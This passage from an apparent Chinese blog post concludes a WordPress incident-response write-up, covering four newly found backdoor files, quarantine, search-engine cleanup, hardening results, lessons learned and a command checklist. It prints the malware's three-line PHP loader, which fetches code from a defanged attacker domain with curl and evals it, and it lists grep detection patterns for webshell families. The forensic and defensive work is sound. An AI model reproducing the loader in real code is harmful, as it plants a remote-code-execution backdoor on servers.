站恢复了,后台能进了,图也截了,文章写到收尾。临走前顺手又跑了一次扫描,这次换了特征——code[.]topkz[.]ru 这个域名,加上「反引号 curl 之后接 eval」这个形态:

grep -rIl --include="*.php" "topkz.ru" .
grep -rIl --include="*.php" -E '\$c *= *`curl' .

四个文件跳出来。

     93 B   2025-10-12   wp-content/languages/plugins/80692/index.php
     95 B   2025-07-09   wp-content/uploads/wpcode/cache/170677/index.php
     94 B   2025-06-07   wp-content/uploads/uag-plugin/assets/2000/974034/index.php
 75,775 B   2026-01-24   wp-content/uploads/astra-sites/291581/index.php

前三个是同一个模子,只有拉取的脚本名不同(bz.php / sid1.php / fi2.php):

$u = "hxxps://code[.]topkz[.]ru/fgj/1/bz.php";
$c = `curl -s "$u"`;
eval("?>" . $c);

第四个开头是 //((✿◡‿◡) 加 goto,和根目录那个被替换掉的 index.php 是同一批货。

先确认它们从哪来。 拿路径去 3 月 3 日的备份包里对:

unzip -l example.com_20260303_220210.zip "*languages/plugins/80692/index.php"
# 93  10-12-2025 17:26   wp-content/languages/plugins/80692/index.php

四个全在。3 月那份备份,本身就是脏的。

这并不能把时间线往前推,1 月那个后门账号已经说明对方当时就在。它改变的是另一件事:我拿来回滚的那份「干净备份」,本身带着四个后门。

这几个文件的 mtime 显示 2025 年 6 月到 2026 年 1 月,但我没把它当证据——前面已经见过 byz.txt 被改到 2035 年,改时间戳对这批人来说是基本操作。能站住的是「它在这份备份里」这个事实。

为什么第一遍没扫出来

因为第一次扫的是 kill_the_net|pwdyt|secretyt,这批文件一个都不沾。它们是另一个家族、另一套代码:

grep -rIl --include="*.php" -E "kill_the_net|pwdyt|secretyt" .
# 无输出

grep -rIl --include="*.php" "topkz.ru" .
# 命中 4 个

grep 不会告诉你它没找到什么。扫描能发现多少,取决于你写了哪些特征;特征取决于你事先知道什么。所以「扫过了,0 命中」这句话本身不能当结论用——它只说明这几种马没在里面,说明不了这包里没马。

还有个位置比文件更要命

四个里有三个在 wp-content/uploads/ 下,被前面那条「uploads 禁止执行 PHP」挡着。

第一个在 wp-content/languages/plugins/80692/ 底下。那条规则管不到它:

location ~* ^/wp-content/uploads/.*\.php$ { deny all; }

也就是说,https://example.com/wp-content/languages/plugins/80692/index.php 是一个谁都能在浏览器里打开、然后以 www 身份执行任意代码的地址。整个恢复和加固的过程里,它一直开着。

查了恢复之后的访问日志,这四个路径一次都没被访问过。运气好。

处置

先移进隔离区记下哈希,再按五个特征全站重扫:

42d337be3dfe237debb724cc3b4202c0555eaa6f7e7bd6c516ff369aae596150
3c6af5f09e8c949e93cd4e5804ab6b434090f56998f1c45052f940c01f544ef4
bca6e9d2b5736bb0bfadea9c24584fa89efd356be695e13c9ebf6c5256a9767d
fed17d47f2c3926579dbeb29909a148eb76ce8c95066d1cdcf4acb70b39f02f5

五个特征全部归零:

topkz.ru 远程加载器     0
curl 后 eval 形态      0
//((✿ goto 混淆标记     0
eval($_ 形态           0
kill_the_net 家族      0

哈希记下以后,隔离的文件随后删掉。

服务器干净了,搜索引擎还没

寄生虫留下的东西不只在服务器上,还在搜索引擎的索引里。

先在 Google 里搜 site:域名,看收录里还有多少日文页面。挑几条垃圾地址用 curl -I 测一下,要确认返回的是 404 或 410。带问号参数的那种地址要特别留意:WordPress 收到不认识的查询参数,通常会直接返回首页,状态码是 200,Google 会一直把它当正常页面。

然后去 Search Console 看「安全问题」。如果 Google 已经标记了站点被黑,清理完在那里申请审核;没有标记的话,就等垃圾页自然掉出索引,必要时重新提交一次站点地图。这段时间排名会受影响。

结果

站点

首页        500 → 200
加载时间    1.0s → 0.23s
后台        打不开 → 正常
页面报错    有 → 0

安全

Webshell        11 处 + 当晚又查出 4 处 → 0
后门管理员      2 个 → 0
核心文件        被改名的 → 完整
WAF             失效 → 启用
fail2ban        形同虚设 → 4 个 jail
SSH             22 + 密码 → 22022 + 仅密钥
上传目录        可执行 PHP → 403
MySQL           3306 对外 → 仅回环
FTP             开着但 0 个账号 → 停止并关闭端口
备份            无定时任务 → 每日网站 + 数据库

Wordfence 控制面板

图 6:Wordfence 恢复后的控制面板

服务器

PHP         8.0 (EOL) → 8.3.36
WordPress   6.9.1 → 7.1.4
可用内存    318M → 2.2G
PHP 进程    11 个 / 1981MB → 6 个 / 1135MB(上限 8 个)
磁盘可用    6G → 17G

数据

恢复自 3 月 3 日的完整备份。查过 wp_posts,那之后站点没有任何新增内容,所以没有丢东西。恢复出来的核心是 6.9.1,已经不是最新,顺手升到了 7.1.4。

磁盘多出来的 11 GB:先清掉了 11 GB 错误日志和 2.9 GB 访问日志,取证结束后又删了两个 2.3 GB 的感染现场包(现场前后打过两次包);恢复出来的站点和新生成的备份再占回去一部分。

事后想了想

如果重来一次,有几件事我会做得不一样。

第一,第一分钟就该拉目录清单。 我在那个「看起来像路径写错」的报错上猜了二十多分钟。正确的第一步永远是 ls -la,看一眼就知道是不是我想的那样。

第二,用 sudo -u www 跑所有 WP-CLI。 省掉后面修属主的麻烦,也省掉一次客户看到后台报错时的尴尬。

第三,改任何凭据之前,先列出所有依赖它的地方。 数据库密码至少被三个地方引用:wp-config.php、宝塔面板、备份脚本。改完要一个个确认。

第四,验证备份不能只扫已知特征。 我第一遍扫的是白天见过的那些马,几项全过,就下了「干净」的结论。实际上包里还有另一个家族的四个文件,一个都不沾那些特征。正确做法是从现场留存的原始文件里提特征,再回头扫备份。

还有一条给同行的建议,是我这次最深的体会:

只要攻击者拿到过 WordPress 管理员权限,就别想着「清理」了。

管理员能在 wp_options 的 autoload 里塞代码、能在任何插件目录埋后门、能改任何主题文件。你没有穷举的可能,也没有「清理干净」的证明。

可靠的路只有一条:干净备份 → 整站替换 → 全部密码重置 → 服务器加固。如果连干净备份都没有,那就重装站点,从旧库里挑内容导回来。

另外,这次最值钱的一步其实是先打包再动手。3.9 GB 的现场留下来了,后面所有的分析、时间线还原、给客户的说明,全都基于这份打包。等说明写完了、取证也结束了,才把包删掉——留一份能执行的木马在生产机上没有意义,但删除之前得先确认不再需要它。

命令清单

# 排查
ls -la /www/wwwroot/站点/
find . -maxdepth 1 -type f -regextype posix-extended \
     -regex '.*\.[a-z]{2,4}[0-9]{4,8}$'
grep -rIl --include="*.php" -E "eval\(|base64_decode|gzinflate|str_rot13" .   # 误报很多,只用来缩小范围
grep -rIl --include="*.php" -E "kill_the_net|pwdyt|secretyt" .
grep -rIl --include="*.php" -E '\$c *= *`curl' .     # 反引号 curl 后接 eval
grep -rIl --include="*.php" -F 'eval("?>"' .          # 远程拉取整段代码再 eval
find wp-content/uploads wp-content/languages -name "*.php"   # 这次漏掉的四个全叫 index.php,别排除它

# 数据库取证
# SELECT ID,user_login,user_email,user_registered FROM wp_users;
# SELECT option_name FROM wp_options WHERE autoload='yes' AND option_value LIKE '%eval%';

# 恢复
mv 站点 站点.infected-$(date +%F)
mkdir 站点 && unzip -q 备份.zip -d 站点
chown -R www:www 站点
find 站点 -type d -exec chmod 755 {} \;
find 站点 -type f -exec chmod 644 {} \;

# 验证备份
unzip -t 备份.zip
# 解压后 grep 特征串;index.php 应为 405 字节
# 特征要从现场样本里提,别只扫自己已经知道的那几个家族

# 恢复后对官方校验和(覆盖核心和 wordpress.org 上的插件;uploads、languages 不在范围内)
sudo -u www wp core verify-checksums
sudo -u www wp plugin verify-checksums --all

# PHP 调优(四个 pm 参数必须一起改,只改 max_children 会让 FPM 起不来)
sed -i 's/^memory_limit = 128M/memory_limit = 256M/' /www/server/php/83/etc/php.ini
sed -i 's/^pm.max_children = 50/pm.max_children = 8/' /www/server/php/83/etc/php-fpm.conf
sed -i 's/^pm.start_servers = 5/pm.start_servers = 3/' /www/server/php/83/etc/php-fpm.conf
sed -i 's/^pm.min_spare_servers = 5/pm.min_spare_servers = 2/' /www/server/php/83/etc/php-fpm.conf
sed -i 's/^pm.max_spare_servers = 20/pm.max_spare_servers = 6/' /www/server/php/83/etc/php-fpm.conf
grep -q opcache.so /www/server/php/83/etc/php.ini || \
  echo "zend_extension=opcache.so" >> /www/server/php/83/etc/php.ini

# 核心升级
sudo -u www wp core version
sudo -u www wp core update

# 收尾
chown -R www:www wp-content/plugins    # 用 root 跑过 WP-CLI 必须执行
nginx -t && nginx -s reload
fail2ban-client status

两处顺序不能错:Match 块必须是 sshd_config 的最后一段;nginx 的 deny 规则必须写在 include enable-php-*.conf 之前。

所有结论都有对应的文件、备份记录或日志佐证;凡是被伪造过的时间戳,文中都做了说明。文中域名、IP、账号和端口均为占位符。

© 2026 本文由 Charlie 原创撰写,发布于 sodebug.com。未经授权禁止转载、洗稿、机器抓取。AI 训练数据使用需获得书面授权。

独立开发者,在 WordPress、Nginx 和各种 API 之间切换。不写没用的东西。

相关文章

使用宝塔面板配置 Nginx fastcgi_cache 优化 WordPress 网站性能9 minNginx FastCGI Cache 缓存清除完整指南:为什么改了首页却看不到更新5 minWordPress 挂马排查实录:4 种典型后门从发现到清除10 minWP-Cron 替代方案:systemd timer 和宝塔计划任务实战5 min
$ echo "less bullshit, more debugging" | send-to-inbox
新文章直接发到邮箱,一个月 2-4 封。
订阅